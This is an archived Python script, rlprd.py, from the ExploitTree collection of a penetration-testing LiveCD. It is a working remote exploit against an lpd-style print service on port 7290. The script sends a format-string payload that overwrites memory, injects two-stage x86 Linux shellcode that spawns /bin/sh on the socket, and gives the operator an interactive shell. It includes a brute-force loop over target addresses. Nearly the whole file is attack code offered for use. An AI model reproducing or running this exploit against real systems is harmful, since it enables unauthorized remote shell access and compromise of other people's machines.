home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / rlprd.py < prev    next >
Text File  |  2005-02-12  |  4KB  |  150 lines

  1. #!/usr/bin/python
  2. import os, sys, socket, struct, time, telnetlib
  3.  
  4. class rlprd:
  5.     fd = None
  6.     pad = 2 
  7.  
  8.     #00000000  31DB              xor ebx,ebx
  9.     #00000002  F7E3              mul ebx
  10.     #00000004  B003              mov al,0x3
  11.     #00000006  80C304            add bl,0x4
  12.     #00000009  89E1              mov ecx,esp
  13.     #0000000B  4A                dec edx
  14.     #0000000C  CC                int3
  15.     #0000000D  CD80              int 0x80
  16.     #0000000F  FFE1              jmp ecx
  17.     
  18.     # read(4, esp, -1); jmp ecx
  19.     lnx_readsc = "\x31\xdb\xf7\xe3\xb0\x03\x80\xc3\x04\x89\xe1\x4a\xcd\x80\xff\xe1"
  20.     lnx_stage_one = "\x90" * (23 - len(lnx_readsc)) + lnx_readsc
  21.     # dup2 shellcode(4->0,1,2)
  22.     lnx_stage_two  = "\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x04" 
  23.     lnx_stage_two += "\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80"
  24.     # execute /bin/sh    
  25.     lnx_stage_two += "\x90" * 100
  26.     lnx_stage_two += "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68"
  27.     lnx_stage_two += "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
  28.     lnx_stage_two += "\xe1\x8d\x42\x0b\xcd\x80"
  29.  
  30.     targets = [ [ 0 ], [ "Compiled test platform", 0x0804c418, 0xbffff9e8 ] ] 
  31.         
  32.     bruteforce = 0
  33.  
  34.     def __init__(self, host, os, target, port=7290):
  35.         self.host = host
  36.         self.port = port
  37.  
  38.         set = 0
  39.         if(os == "linux"):
  40.             set = 1
  41.             self.stage_one = self.lnx_stage_one
  42.             self.stage_two = self.lnx_stage_two
  43.  
  44.         if(set == 0):
  45.             print "Unknown OS"
  46.             os._exit()
  47.  
  48.         self.os = os
  49.         
  50.         if(target == 0):
  51.             self.bruteforce = 1
  52.         else:    
  53.             self.args = self.targets[target]
  54.  
  55.     def wl16(self, write_byte):
  56.         write_byte += 0x10000
  57.         self.already_written %= 0x10000
  58.         padding = (write_byte - self.already_written) % 0x10000
  59.         if(padding < 10):
  60.             padding += 0x10000
  61.  
  62.         self.already_written += padding
  63.  
  64.         return padding
  65.  
  66.     def connect(self):
  67.         #if self.fd is not None:
  68.         #    self.fd.close()
  69.         #    self.fd = None
  70.  
  71.         self.fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
  72.         self.fd.connect((self.host, self.port))
  73.     
  74.     def exploit(self, where, what):
  75.         if(not self.fd or self.fd is None): self.connect()
  76.         self.already_written = len('gethostbyname(')
  77.  
  78.         #print "# of nops: %d\n" % (23 - len(self.readsc))
  79.  
  80.         exploit = "x" * self.pad
  81.         self.already_written += self.pad
  82.  
  83.         exploit += struct.pack("<l", where)
  84.         exploit += struct.pack("<l", where + 2)
  85.         self.already_written += 8        
  86.  
  87.         l = self.wl16(what & 0xffff)
  88.         fill = "%1$" + str(l) + "u"
  89.         exploit += fill
  90.  
  91.         exploit += "%7$hn"
  92.         
  93.         l = self.wl16(what >> 16)
  94.         fill = "%1$" + str(l) + "u"
  95.         exploit += fill
  96.  
  97.         exploit += "%8$hn"
  98.  
  99.         #print "[*] Format string: (%s) Len: %d" % (exploit, len(exploit))
  100.         #print "[*] Stage 1 length: %d" % len(self.stage_one)
  101.  
  102.         #time.sleep(5)
  103.         try:
  104.             self.fd.send(exploit + self.stage_one + "\n")
  105.             self.fd.send(self.stage_two)
  106.             time.sleep(1)
  107.             self.fd.send("echo spawned; uname -a; id -a;\n")
  108.             print "Recieved: " + self.fd.recv(1024)
  109.         except:
  110.             self.fd.close()
  111.             self.fd = None 
  112.             print "\tFailed @ 0x%08x" % what
  113.             return 0
  114.  
  115.         remote = telnetlib.Telnet()
  116.         remote.sock = self.fd
  117.         print "[*] You should now have a shell"
  118.         remote.interact()
  119.         os.exit(0)
  120.  
  121.     def force(self, where, high, lo):
  122.         for i in range(high, lo, -8):
  123.             r.exploit(where, i)
  124.  
  125.     def run(self):
  126.         if(self.bruteforce):
  127.             print "Bruteforcing.."
  128.             #print "not implemented yet"
  129.             #os._exit(1)
  130.             for i in range(0x0804c000, 0x0804d000, 0x100 / 6):
  131.                 print "Trying: 0x%08x" % i
  132.                 self.force(i, 0xbffffa00, 0xbffff9c0)
  133.  
  134.         #self.exploit(self.args[1], self.args[2])
  135.  
  136. if __name__ == '__main__':
  137.     if(len(sys.argv) != 4):
  138.         print "%s host [linux] targetid"
  139.         print "- 0 to brute force"
  140.         print "- 1 custom compile"
  141.         os._exit(0)
  142.  
  143.     print "%s-%s-%s" % (sys.argv[1], sys.argv[2], sys.argv[3])
  144.     r = rlprd(sys.argv[1], sys.argv[2], int(sys.argv[3]))
  145.     #r.exploit(0x0804c418, 0xbffff9e8)
  146.     #r.force(0x0804c418, 0xbffffa00, 0xbffff800)
  147.     r.run()
  148.  
  149.  
  150.